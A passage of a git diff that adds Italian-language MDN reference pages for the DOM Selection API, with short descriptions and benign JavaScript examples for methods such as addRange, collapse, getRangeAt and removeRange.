+<h3 id="Note" name="Note">Note</h3>
+
+<p>Alterare i contenuti di un Range causa una chiamata implicita di toString(), quindi comparare il Range e il testo attraverso un alert dialog è inutile.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-method-toString">toString</a></p>
diff --git a/files/it/web/api/selection/addrange/index.html b/files/it/web/api/selection/addrange/index.html
new file mode 100644
index 0000000000..cff46a4d65
--- /dev/null
+++ b/files/it/web/api/selection/addrange/index.html
@@ -0,0 +1,39 @@
+---
+title: addRange
+slug: Web/API/Selection/addRange
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/addRange
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Aggiunge un range alla selezione.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selezione</i>.addRange(<i>range</i>)
+</pre>
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+<dl>
+ <dt>
+  <i>
+   <code>range</code></i>
+ </dt>
+ <dd>
+  Un oggetto <a href="it/DOM/range">range</a> che verrà aggiunto alla selezione.</dd>
+</dl>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval"> /* seleziono tutti gli oggetti STRONG all'interno del documento HTML */
+ var strongs = document.getElementsByTagName("strong");
+ var s = window.getSelection();
+ if(s.rangeCount &gt; 0) s.removeAllRanges();
+ for(var i = 0; i &lt; strongs.length; i++) {
+  var range = document.createRange();
+  range.selectNode(strongs[i]);
+  s.addRange(range);
+ }
+</pre>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "es": "es/DOM/Selection/addRange", "it": "it/DOM/Selection/addRange", "pl": "pl/DOM/Selection/addRange" } ) }}</p>
diff --git a/files/it/web/api/selection/anchornode/index.html b/files/it/web/api/selection/anchornode/index.html
new file mode 100644
index 0000000000..2dcd33e119
--- /dev/null
+++ b/files/it/web/api/selection/anchornode/index.html
@@ -0,0 +1,21 @@
+---
+title: anchorNode
+slug: Web/API/Selection/anchorNode
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/anchorNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il nodo nel quale inizia la selezione.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selection</i>.anchorNode
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Un utente può creare una selezione da sinistra a destra (nell'ordine del documento) oppure da destra a sinistra (in ordine inverso rispetto al documento). L'anchor è il punto in cui l'utente ha iniziato a selezionare. Per comprendere e visualizzare questo meccanismo, si può tenere premuto il tasto SHIFT e poi premere i tasti freccia; l'anchor rimane immobile ma il focus, cioè l'altro estremo della selezione, si sposta.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/anchorNode", "es": "es/DOM/Selection/anchorNode", "pl": "pl/DOM/Selection/anchorNode" } ) }}</p>
diff --git a/files/it/web/api/selection/anchoroffset/index.html b/files/it/web/api/selection/anchoroffset/index.html
new file mode 100644
index 0000000000..0c6de4e0ed
--- /dev/null
+++ b/files/it/web/api/selection/anchoroffset/index.html
@@ -0,0 +1,21 @@
+---
+title: anchorOffset
+slug: Web/API/Selection/anchorOffset
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/anchorOffset
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il numero di caratteri che separano il primo carattere della selezione (anchor), dal primo carattere del primo nodo selezionato (<a href="it/DOM/Selection/anchorNode">anchorNode</a>).</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selezione</i>.anchorOffset
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Il valore restituito inizia da 0. Se la selezione comincia con il primo carattere dell'<a href="it/DOM/Selection/anchorNode">anchorNode</a>, <code>anchorOffset</code> restituisce 0.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/anchorOffset", "es": "es/DOM/Selection/anchorOffset", "pl": "pl/DOM/Selection/anchorOffset" } ) }}</p>
diff --git a/files/it/web/api/selection/collapse/index.html b/files/it/web/api/selection/collapse/index.html
new file mode 100644
index 0000000000..63f2407ac1
--- /dev/null
+++ b/files/it/web/api/selection/collapse/index.html
@@ -0,0 +1,44 @@
+---
+title: collapse
+slug: Web/API/Selection/collapse
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/collapse
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Fa collassare la selezione corrente in un singolo punto. Il documento non viene modificato. Se il contenuto è modificabile, il cursore lampeggerà.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selezione</i>.collapse(<i>nodoPadre</i>,<i>offset</i>);
+</pre>
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+<dl>
+ <dt>
+  <i>
+   <code>nodoPadre</code></i>
+ </dt>
+ <dd>
+  Il cursore si troverà all'interno di questo nodo.</dd>
+</dl>
+<dl>
+ <dt>
+  <i>
+   <code>offset</code></i>
+ </dt>
+ <dd>
+  La distanza in caratteri tra il cursore e l'inizio del testo di
+  <i>
+   <code>parentNode</code></i>
+  .</dd>
+</dl>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval">/* Porta il cursore all'inizio del BODY */
+var body = document.getElementsByTagName("body")[0];
+window.getSelection().collapse(body,0);
+</pre>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/collapse", "es": "es/DOM/Selection/collapse", "pl": "pl/DOM/Selection/collapse" } ) }}</p>
diff --git a/files/it/web/api/selection/collapsetoend/index.html b/files/it/web/api/selection/collapsetoend/index.html
new file mode 100644
index 0000000000..b7193eb8e6
--- /dev/null
+++ b/files/it/web/api/selection/collapsetoend/index.html
@@ -0,0 +1,19 @@
+---
+title: collapseToEnd
+slug: Web/API/Selection/collapseToEnd
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/collapseToEnd
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Sposta l'anchor della selezione allo stesso punto in cui si trova il focus. Il focus non si muove. Se il contenuto è modificabile, il cursore lampeggerà.</p>
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+<pre class="eval"><i>selezione</i>.collapseToEnd()
+</pre>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/collapseToEnd", "es": "es/DOM/Selection/collapseToEnd", "pl": "pl/DOM/Selection/collapseToEnd" } ) }}</p>
diff --git a/files/it/web/api/selection/collapsetostart/index.html b/files/it/web/api/selection/collapsetostart/index.html
new file mode 100644
index 0000000000..ccf6084f65
--- /dev/null
+++ b/files/it/web/api/selection/collapsetostart/index.html
@@ -0,0 +1,14 @@
+---
+title: collapseToStart
+slug: Web/API/Selection/collapseToStart
+translation_of: Web/API/Selection/collapseToStart
+---
+<h3 id="Sommario" name="Sommario"> Sommario </h3>
+<p>Sposta il focus della selezione allo stesso punto in cui si trova l'anchor. L'anchor non si muove. Se il contenuto è modificabile, il cursore lampeggerà.
+</p>
+<h3 id="Sintassi" name="Sintassi"> Sintassi </h3>
+<pre class="eval"><i>selezione</i>.collapseToStart()
+</pre>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/DOM/Selection/collapseToStart", "es": "es/DOM/Selection/collapseToStart", "pl": "pl/DOM/Selection/collapseToStart" } ) }}
diff --git a/files/it/web/api/selection/containsnode/index.html b/files/it/web/api/selection/containsnode/index.html
new file mode 100644
index 0000000000..b7729228b6
--- /dev/null
+++ b/files/it/web/api/selection/containsnode/index.html
@@ -0,0 +1,47 @@
+---
+title: containsNode
+slug: Web/API/Selection/containsNode
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/containsNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Indica se il nodo specificato fa parte della selezione.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selezione</i>.containsNode(<i>nodo</i>,<i>nodoParziale</i>)
+</pre>
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+<dl>
+ <dt>
+  <i>
+   <code>nodo</code></i>
+ </dt>
+</dl>
+<p>Il nodo da cercare all'interno della selezione</p>
+<dl>
+ <dt>
+  <i>
+   <code>nodoParziale</code></i>
+ </dt>
+ <dd>
+  Se è
+  <i>
+   true</i>
+  , <code>containsNode</code> restituisce true nel caso in cui solo una parte di <code>nodo</code> sia contenuta dalla selezione.</dd>
+ <dd>
+  Se è
+  <i>
+   false</i>
+  , <code>containsNode</code> restituisce false nel caso in cui solo una parte di <code>nodo</code> sia contenuta dalla selezione.</dd>
+</dl>
+<h3 id="Esempi" name="Esempi">Esempi</h3>
+<pre class="eval"> /* controlliamo se qualcosa all'interno dell'elemento BODY è stato selezionato */
+ alert(window.getSelection().containsNode(document.body, true));
+</pre>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "es": "es/DOM/Selection/containsNode", "en": "en/DOM/Selection/containsNode", "pl": "pl/DOM/Selection/containsNode" } ) }}</p>
diff --git a/files/it/web/api/selection/deletefromdocument/index.html b/files/it/web/api/selection/deletefromdocument/index.html
new file mode 100644
index 0000000000..5a065e7b37
--- /dev/null
+++ b/files/it/web/api/selection/deletefromdocument/index.html
@@ -0,0 +1,28 @@
+---
+title: deleteFromDocument
+slug: Web/API/Selection/deleteFromDocument
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/deleteFromDocument
+---
+<p>{{ ApiRef }}</p>
+
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+
+<p>Elimina dal documento il testo attualmente rappresentato dall'oggetto <code>selection</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><em>selezione</em>.deleteFromDocument()
+</pre>
+
+<h3 id="Esempi" name="Esempi">Esempi</h3>
+
+<p>Un utente seleziona il testo (immaginario) "la capra " all'interno della stringa "sotto la panca la capra crepa". L'utente poi clicca un bottone che esegue la riga JavaScript <code>window.getSelection().deleteFromDocument()</code>. Il testo del documento diventa "sotto la panca crepa".</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/deleteFromDocument", "es": "es/DOM/Selection/deleteFromDocument", "pl": "pl/DOM/Selection/deleteFromDocument" } ) }}</p>
diff --git a/files/it/web/api/selection/extend/index.html b/files/it/web/api/selection/extend/index.html
new file mode 100644
index 0000000000..58e022a2a9
--- /dev/null
+++ b/files/it/web/api/selection/extend/index.html
@@ -0,0 +1,39 @@
+---
+title: extend
+slug: Web/API/Selection/extend
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/extend
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Sposta il focus della selezione ad un punto specificato. L'anchor invece resta immobile. La selezione si estenderà dall'anchor fino al nuovo focus, indipendentemente da quale sia la direzione (cioè potrebbe essere inversa rispetto al testo).</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selezione</i>.extend(<i>nodoPadre</i>,<i>offset</i>)
+</pre>
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+<dl>
+ <dt>
+  <i>
+   <code>nodoPadre</code></i>
+ </dt>
+ <dd>
+  Il nuovo focus, cioè il nodo fino al quale si estenderà la selezione.</dd>
+</dl>
+<dl>
+ <dt>
+  <i>
+   <code>offset</code></i>
+ </dt>
+ <dd>
+  Il numero di caratteri che separeranno l'inizio del testo del
+  <i>
+   <code>nodoPadre</code>'</i>
+  dal nuovo focus.</dd>
+</dl>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "es": "es/DOM/Selection/extend", "en": "en/DOM/Selection/extend", "pl": "pl/DOM/Selection/extend" } ) }}</p>
diff --git a/files/it/web/api/selection/focusnode/index.html b/files/it/web/api/selection/focusnode/index.html
new file mode 100644
index 0000000000..8c8653b829
--- /dev/null
+++ b/files/it/web/api/selection/focusnode/index.html
@@ -0,0 +1,21 @@
+---
+title: focusNode
+slug: Web/API/Selection/focusNode
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/focusNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il nodo nel quale la selezione termina</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selection</i>.focusNode
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Un utente può creare una selezione da sinistra a destra (nell'ordine del documento) oppure da destra a sinistra (in ordine inverso rispetto al documento). L'anchor è il punto in cui l'utente ha iniziato a selezionare, il focus è il punto in cui la selezione è terminata. Per comprendere e visualizzare questo meccanismo, si può tenere premuto il tasto SHIFT e poi premere i tasti freccia; l'anchor rimane immobile ma il focus, cioè l'altro estremo della selezione, si sposta.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/focusNode", "es": "es/DOM/Selection/focusNode", "pl": "pl/DOM/Selection/focusNode" } ) }}</p>
diff --git a/files/it/web/api/selection/focusoffset/index.html b/files/it/web/api/selection/focusoffset/index.html
new file mode 100644
index 0000000000..92978a8dba
--- /dev/null
+++ b/files/it/web/api/selection/focusoffset/index.html
@@ -0,0 +1,21 @@
+---
+title: focusOffset
+slug: Web/API/Selection/focusOffset
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/focusOffset
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il numero di caratteri che separano il primo carattere della selezione (focus) dal primo carattere dell'ultimo nodo della selezione (<a href="it/DOM/Selection/focusNode">focusNode</a>).</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selezione</i>.focusOffset
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Questo valore inizia da 0. Se la selezione termina con il primo carattere di <a href="it/DOM/Selection/focusNode">focusNode</a>, <code>focusOffset</code> restituisce 0.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/focusOffset", "es": "es/DOM/Selection/focusOffset", "pl": "pl/DOM/Selection/focusOffset" } ) }}</p>
diff --git a/files/it/web/api/selection/getrangeat/index.html b/files/it/web/api/selection/getrangeat/index.html
new file mode 100644
index 0000000000..f5307b03d9
--- /dev/null
+++ b/files/it/web/api/selection/getrangeat/index.html
@@ -0,0 +1,37 @@
+---
+title: getRangeAt
+slug: Web/API/Selection/getRangeAt
+translation_of: Web/API/Selection/getRangeAt
+---
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce un oggetto <code>range</code> che rappresenta i nodi attualmente selezionati.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>range</i> =<i>sel</i>.getRangeAt(<i>index</i>)
+</pre>
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+<dl>
+ <dt>
+  <code>range</code></dt>
+ <dd>
+  L'oggetto <a href="it/DOM/range">range</a> che verrà restituito.</dd>
+</dl>
+<dl>
+ <dt>
+  <i>
+   <code>index</code></i>
+ </dt>
+ <dd>
+  L'indice del range da restituire; parte da zero. Un valore negativo o un numero uguale o maggiore a <a href="it/DOM/Selection/rangeCount">rangeCount</a> causa un errore.</dd>
+</dl>
+<h3 id="Esempi" name="Esempi">Esempi</h3>
+<pre class="eval">var ranges = [];
+
+sel = window.getSelection();
+
+for(var i = 0; i &lt; sel.rangeCount; i++) {
+ ranges[i] = sel.getRangeAt(i);
+}
+/* Ogni oggetto nei ranghi ora è un
+ * oggetto range che rappresenta uno dei ranghi
+ * presenti nella selezione attuale. */
+</pre>
diff --git a/files/it/web/api/selection/index.html b/files/it/web/api/selection/index.html
new file mode 100644
index 0000000000..aca2185be0
--- /dev/null
+++ b/files/it/web/api/selection/index.html
@@ -0,0 +1,102 @@
+---
+title: Selection
+slug: Web/API/Selection
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+
+<p>E' la classe dell'oggetto restituito da <code><a href="it/DOM/window.getSelection"> window.getSelection</a></code> ed altri metodi.</p>
+
+<h3 id="Descrizione" name="Descrizione">Descrizione</h3>
+
+<p>L'oggetto selection rappresenta i <a href="it/DOM/range">range</a> che l'utente ha selezionato. In una selezione fatte dall'utente col mouse possono esserci più range, ad esempio perchè tramite posizionamento assoluto nei <a href="it/CSS">CSS</a> due contenitori(DIV) distanti fra di loro nel flusso del documento appaiono vicini sul display e vengono selezionati insieme. Per accedere ai diversi Range che formano una selezione, si usa il metodo <code><a href="it/DOM/Selection/getRangeAt">getRangeAt()</a></code>.</p>
+
+<p>In <a href="it/JavaScript">JavaScript</a>, l'oggetto selection può venire modificato come se fosse una stringa, ad esempio vi si può concatenare una stringa, perchè in questi casi viene automaticamente applicato il metodo <code><a href="it/DOM/Selection/toString">toString</a></code>. Ad esempio, con il codice seguente, nell'alert apparirà una stringa:</p>
+
+<pre class="eval">selObj = window.getSelection();
+window.alert(selObj);
+</pre>
+
+<p>ma la variabile selObj rimane un oggetto di tipo selection e non di tipo String, solo che all'occorrenza gli viene applicato il metodo toString().</p>
+
+<h3 id="Glossario" name="Glossario">Glossario</h3>
+
+<p>Altre parole chiave usate in questa sezione.</p>
+
+<dl>
+ <dt>anchor</dt>
+ <dd>Rappresenta il punto in cui inizia una selezione. Quando si fa una selezione con il mouse, l'anchor è il punto in cui il mouse è stato premuto e non cambia mentre si muove il mouse.</dd>
+ <dt>focus</dt>
+ <dd>Rappresenta il punto in cui finisce una selezione. Quando si fa una selezione con il mouse, il focus si muove in corrispondenza del mouse(mentre il tasto è premuto), e quando il tasto viene rilasciato, rappresenta il punto in cui finisce la selezione.</dd>
+ <dt>range</dt>
+ <dd>Rappresenta un insieme di nodi contigui del documento. Un range può contenere interi nodi come anche porzioni di nodi(nel caso di nodi testuali). Un range può essere recuperato da una selezione attraverso l'oggetto <a href="it/DOM/range">range</a>, oppure può essere creato via script e aggiunto o rimosso da una selezione.</dd>
+</dl>
+
+<h3 id="Propriet.C3.A0" name="Propriet.C3.A0">Proprietà</h3>
+
+<dl>
+ <dt><a href="it/DOM/Selection/anchorNode">anchorNode</a></dt>
+ <dd>Restituisce il nodo in cui inizia la selezione.</dd>
+ <dt><a href="it/DOM/Selection/anchorOffset">anchorOffset</a></dt>
+ <dd>Restituisce il numero di caratteri fra l'inizio del nodo testuale e l'anchor, all'interno dell'anchorNode.</dd>
+ <dt><a href="it/DOM/Selection/focusNode">focusNode</a></dt>
+ <dd>Restituisce il nodo in cui finisce la selezione.</dd>
+ <dt><a href="it/DOM/Selection/focusOffset">focusOffset</a></dt>
+ <dd>Restituisce il numero di caratteri fra l'inizio del nodo testuale e il focus, all'interno del focusNode.</dd>
+ <dt><a href="it/DOM/Selection/isCollapsed">isCollapsed</a></dt>
+ <dd>Restituisce un valore booleano che indica se l'anchor e il focus di una selezione si trovano nella stessa posizione.</dd>
+ <dt><a href="it/DOM/Selection/rangeCount">rangeCount</a></dt>
+ <dd>Restituisce il numero di range di cui è composta una selezione.</dd>
+</dl>
+
+<h3 id="Metodi" name="Metodi">Metodi</h3>
+
+<dl>
+ <dt><a href="it/DOM/Selection/getRangeAt">getRangeAt</a></dt>
+ <dd>Restituisce un oggetto range che rappresenta uno dei range attualmente selezionati.</dd>
+ <dt><a href="it/DOM/Selection/collapse">collapse</a></dt>
+ <dd>Collassa la selezione corrente in un singolo punto.</dd>
+ <dt><a href="it/DOM/Selection/extend">extend</a></dt>
+ <dd>Muove il focus della selezione in uno specifico punto.</dd>
+ <dt><a href="it/DOM/Selection/collapseToStart">collapseToStart</a></dt>
+ <dd>Muove il focus della selezione nel punto in cui c'è l'anchor (che non viene spostata).</dd>
+ <dt><a href="it/DOM/Selection/collapseToEnd">collapseToEnd</a></dt>
+ <dd>Muove il focus della selezione nel punto in cui c'è il focus (che non viene spostato).</dd>
+ <dt><a href="it/DOM/Selection/selectAllChildren">selectAllChildren</a></dt>
+ <dd>Aggiunge tutti i figli del nodo specificato alla selezione.</dd>
+ <dt><a href="it/DOM/Selection/addRange">addRange</a></dt>
+ <dd>Aggiunge un oggetto range alla selezione..</dd>
+ <dt><a href="it/DOM/Selection/removeRange">removeRange</a></dt>
+ <dd>Rimuove un range dalla selezione.</dd>
+ <dt><a href="it/DOM/Selection/removeAllRanges">removeAllRanges</a></dt>
+ <dd>Rimuove tutti i range dalla selezione.</dd>
+ <dt><a href="it/DOM/Selection/deleteFromDocument">deleteFromDocument</a></dt>
+ <dd>Elimina dal documento il contenuto della selezione.</dd>
+ <dt><a href="it/DOM/Selection/selectionLanguageChange">selectionLanguageChange</a></dt>
+ <dd> </dd>
+ <dt><a href="it/DOM/Selection/toString">toString</a></dt>
+ <dd>Restituisce una stringa che rappresenta l'oggetto selection (cioè il testo attualmente selezionato).</dd>
+ <dt><a href="it/DOM/Selection/containsNode">containsNode</a></dt>
+ <dd>Indica se un certo nodo fa parte dell'oggetto selection.</dd>
+</dl>
+
+<h3 id="Guarda_anche" name="Guarda_anche">Guarda anche</h3>
+
+<p><a href="it/DOM/window.getSelection">window.getSelection</a>, <a href="/it/docs/Web/API/Range">Range</a></p>
+
+<h3 id="Link_Esterni" name="Link_Esterni">Link Esterni</h3>
+
+<ul>
+ <li><a class="external" href="http://lxr.mozilla.org/mozilla/source/content/base/public/nsISelection.idl">IDL definition in Mozilla cross-reference</a></li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection", "es": "es/DOM/Selection", "pl": "pl/DOM/Selection" } ) }}</p>
diff --git a/files/it/web/api/selection/iscollapsed/index.html b/files/it/web/api/selection/iscollapsed/index.html
new file mode 100644
index 0000000000..f91cfc5d1d
--- /dev/null
+++ b/files/it/web/api/selection/iscollapsed/index.html
@@ -0,0 +1,24 @@
+---
+title: isCollapsed
+slug: Web/API/Selection/isCollapsed
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/isCollapsed
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce un booleano che indica se l'inizio e la fine della selezione corrente corrispondono (cioè restituisce <code>true</code> se la selezione è
+ <i>
+  collassata</i>
+ ).</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selection</i>.isCollapsed
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Anche una selezione collassata può avere un <code>rangeCount</code> più grande di 0. Anche <code>selezione.getRangeAt(0)</code> potrebbe restituire un range collassato.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/isCollapsed", "es": "es/DOM/Selection/isCollapsed", "pl": "pl/DOM/Selection/isCollapsed" } ) }}</p>
diff --git a/files/it/web/api/selection/rangecount/index.html b/files/it/web/api/selection/rangecount/index.html
new file mode 100644
index 0000000000..db26f87b6f
--- /dev/null
+++ b/files/it/web/api/selection/rangecount/index.html
@@ -0,0 +1,19 @@
+---
+title: rangeCount
+slug: Web/API/Selection/rangeCount
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/rangeCount
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il numero di range presenti nella selezione.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selection</i>.rangeCount
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Prima che l'utente clicchi su una pagina appena caricata, <code>rangeCount</code> vale 0. Un utente normalmente può selezionare un solo range alla volta, quindi <code>rangeCount</code> solitamente vale 1. Tramite lo script è possibile far si che la selezione contenga più di un range.</p>
+<p>{{ languages( { "en": "en/DOM/Selection/rangeCount", "es": "es/DOM/Selection/rangeCount", "pl": "pl/DOM/Selection/rangeCount" } ) }}</p>
diff --git a/files/it/web/api/selection/removeallranges/index.html b/files/it/web/api/selection/removeallranges/index.html
new file mode 100644
index 0000000000..b9aa7bba25
--- /dev/null
+++ b/files/it/web/api/selection/removeallranges/index.html
@@ -0,0 +1,19 @@
+---
+title: removeAllRanges
+slug: Web/API/Selection/removeAllRanges
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/removeAllRanges
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Rimuove tutti i range dalla selezione, impostando le proprietà <code><a href="it/DOM/Selection/anchorNode">anchorNode</a></code> e <code><a href="it/DOM/Selection/focusNode">focusNode</a></code> a <code>null</code>. Dopo la chiamata a questo metodo, non vi saranno elementi selezionati nella pagina.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selezione</i>.removeAllRanges();
+</pre>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "es": "es/DOM/Selection/removeAllRanges", "en": "en/DOM/Selection/removeAllRanges", "pl": "pl/DOM/Selection/removeAllRanges" } ) }}</p>
diff --git a/files/it/web/api/selection/removerange/index.html b/files/it/web/api/selection/removerange/index.html
new file mode 100644
index 0000000000..cb4186afe9
--- /dev/null
+++ b/files/it/web/api/selection/removerange/index.html
@@ -0,0 +1,38 @@
+---
+title: removeRange
+slug: Web/API/Selection/removeRange
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/removeRange
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Rimuove un range dalla selezione.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selezione</i>.removeRange(<i>range</i>)
+</pre>
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+<dl>
+ <dt>
+  <i>
+   <code>range</code></i>
+ </dt>
+ <dd>
+  Un oggetto range che verrà rimosso dalla selezione.</dd>
+</dl>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval">/* Da programma, è possibile selezionare più di un range.
+   Questo script li deseleziona tutti tranne il primo. */
+s = window.getSelection();
+if(s.rangeCount &gt; 1) {
+ for(var i = 1; i &lt; s.rangeCount; i++) {
+  s.removeRange(s.getRangeAt(i));
+ }
+}
+</pre>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "es": "es/DOM/Selection/removeRange", "en": "en/DOM/Selection/removeRange", "pl": "pl/DOM/Selection/removeRange" } ) }}</p>
diff --git a/files/it/web/api/selection/selectallchildren/index.html b/files/it/web/api/selection/selectallchildren/index.html
new file mode 100644
index 0000000000..2df5613a3d
--- /dev/null
+++ b/files/it/web/api/selection/selectallchildren/index.html
@@ -0,0 +1,39 @@
+---
+title: selectAllChildren
+slug: Web/API/Selection/selectAllChildren
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/selectAllChildren
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Aggiunge alla selezione tutti i figli del nodo specificato. La selezione precedente viene perduta.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>selezione</i>.selectAllChildren(<i>nodoPadre</i>)
+</pre>
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+<dl>
+ <dt>
+  <i>
+   <code>nodoPadre</code></i>
+ </dt>
+ <dd>
+  Tutti i figli di
+  <i>
+   <code>nodoPadre</code></i>
+  verranno aggiunti alla selezione.
+  <i>
+   <code>nodoPadre</code></i>
+  invece non verrà selezionato.</dd>
+</dl>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval">pieDiPagina = document.getElementById("pieDiPagina");
+window.getSelection().selectAllChildren(pieDiPagina);
+/* ora tutto ciò che si trova a piè di pagina è selezionato */
+</pre>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "es": "es/DOM/Selection/selectAllChildren", "it": "it/DOM/Selection/selectAllChildren", "pl": "pl/DOM/Selection/selectAllChildren" } ) }}</p>
diff --git a/files/it/web/api/selection/tostring/index.html b/files/it/web/api/selection/tostring/index.html
new file mode 100644
index 0000000000..17a6be112b
